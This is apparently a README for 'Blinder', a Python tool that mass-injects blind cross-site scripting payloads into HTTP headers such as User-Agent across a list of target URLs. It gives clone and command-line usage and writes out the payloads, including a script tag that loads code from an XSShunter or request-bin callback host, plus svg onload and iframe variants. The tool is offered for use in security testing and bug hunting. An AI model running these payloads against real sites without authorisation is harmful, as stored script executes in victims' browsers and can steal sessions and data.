- A script written in python3 to spread blind cross-site scripting payloads on HTTP requests headers
- Blinder is an automation tools written in python3, used to spread sending blind payloads into HTTP servers using XSShunter or custom requests bin, with custom payloads so you can test for more issues like SSTI, CSTI and XSS
git clone https://github.com/DEMON1A/Blinder
cd Blinder
python3 Blinder.py [ARGS]
- That's blinder basic usage example, you just specify XSShunter username using
-u
argument and the URLs file using-f
argument
python3 Blinder.py -u xsshunter -f urls-file.txt
- To disalow/allow redirects on blinder, all you need to-do is use
-r
option with eitherdeny
orallow
strings
python3 Blinder.py -u xsshunter -f urls-file.txt -r deny
- In blinder, the default payload we use is
"><script src={xsshunter-url}></script>
, But you can always use your own payload using-p
argument.
python3 Blinder.py -u hacker -f urls-file.txt -p '"><img src="XXX">'
- If you wanna use more than one payload, you can seperate them using
,
character for example:"><script>alert(1)</script>,"><svg/onload=alert(1)>
, if your payload requires,
character and you can't seperate them using that character you can use-s
option to use another character to-do that
python3 Blinder.py -u xsshunter -f urls-file.txt -p '<img src="XXX">,<iframe src="XXX">'
python3 Blinder.py -u xsshunter -f urls-file.txt -p '<img src="XXX">_<iframe src="XXX">' -s '_'
- By default, Blinder uses
XXX
as string to replace with the XSShunter/requestbin URL, incase that can't be used with your payload and your payload containsXSS
inside of it, you can always use--replace
argument to use another string to replace it with
python3 Blinder.py -u xsshunter -f urls-file.txt -p '<img src="RRR">_<iframe src="RRR">' -s '_' --replace 'RRR'
- By default, Blinder sends the payloads on the
User-agent
header because it's more likely to get stored on web application by requests logs and other stuff, you can use your custom header in case you're testing for a known vulnerability, CVE or anything else
python3 Blinder.py -u xsshunter -f urls-file.txt --header Header-name
- You can use your own requests bin, burpcollabrator, interactsh or anything else using
-b
argument
python3 Blinder.py -b https://request-bin.com/ -f urls-file.txt
- Threading to improve the tool performance.
- Added an option allows you to use your own requests bin instead of using XSShunter.
- Added an option where you can use your own payloads instead of the default one.
- Added an option to enable/disable redirects on requests
- Added an option where you can use more than one payload, and choose the splitting character
- Added an option allows you to use your own custom headers on HTTP requests
- Added an option allows you to select your own replace word on the payload
- Cleaner Code!
- Feel free to open an issue on github issue tracker, I usually respond to such stuff quickly
- If you need help, you can always find me @DemoniaSlash